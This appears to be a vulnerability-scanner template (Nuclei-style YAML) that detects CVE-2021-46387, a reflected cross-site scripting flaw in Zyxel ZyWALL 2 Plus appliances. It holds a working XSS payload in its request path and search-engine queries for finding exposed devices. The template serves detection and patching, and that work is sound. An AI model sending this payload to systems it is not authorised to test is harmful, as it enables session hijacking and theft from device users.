59 lines
2.3 KiB
YAML
59 lines
2.3 KiB
YAML
id: CVE-2021-46387
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info:
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name: Zyxel ZyWALL 2 Plus Internet Security Appliance - Cross-Site Scripting
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author: DhiyaneshDk
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severity: medium
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description: ZyXEL ZyWALL 2 Plus Internet Security Appliance contains a cross-site scripting vulnerability. Insecure URI handling leads to bypass of security restrictions, which allows an attacker to execute arbitrary JavaScript codes to perform multiple attacks.
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impact: |
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Successful exploitation of this vulnerability could allow an attacker to execute arbitrary script code in the context of a user's browser, potentially leading to session hijacking, defacement, or theft of sensitive information.
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remediation: |
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Apply the latest security patches or firmware updates provided by Zyxel to mitigate this vulnerability.
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reference:
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- https://www.exploit-db.com/exploits/50797
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- https://www.zyxel.com/us/en/support/security_advisories.shtml
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- https://drive.google.com/drive/folders/1_XfWBLqxT2Mqt7uB663Sjlc62pE8-rcN?usp=sharing
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- https://nvd.nist.gov/vuln/detail/CVE-2021-46387
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- https://www.zyxel.com/uk/en/products_services/zywall_2_plus.shtml
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classification:
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cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
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cvss-score: 6.1
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cve-id: CVE-2021-46387
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cwe-id: CWE-79
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epss-score: 0.09016
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epss-percentile: 0.94598
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cpe: cpe:2.3:o:zyxel:zywall_2_plus_internet_security_appliance_firmware:-:*:*:*:*:*:*:*
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metadata:
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max-request: 1
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vendor: zyxel
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product: zywall_2_plus_internet_security_appliance_firmware
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shodan-query:
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- http.title:"Zywall2Plus"
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- http.title:"zywall2plus"
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fofa-query: title="zywall2plus"
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google-query: intitle:"zywall2plus"
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tags: cve2021,cve,xss,zyxel,edb
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http:
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- method: GET
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path:
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- '{{BaseURL}}/Forms/rpAuth_1?id=</form><iMg%20src=x%20onerror="prompt(document.domain)"><form>'
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matchers-condition: and
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matchers:
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- type: word
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part: body
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words:
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- '<iMg src=x onerror="prompt(document.domain)"><form>'
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- 'Entry Error'
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condition: and
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- type: word
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part: header
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words:
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- 'text/html'
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- type: status
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status:
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- 200
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# digest: 4a0a0047304502200f72b56f4f11b6b2d21305f88e3bc6a0c8c7afed7a69bd0dbbfb013669b5d353022100e6ff8ec57f15000992f251a85abd14b07e518baaf5e8fdf11effc7c4f23d4500:922c64590222798bb761d5b6d8e72950 |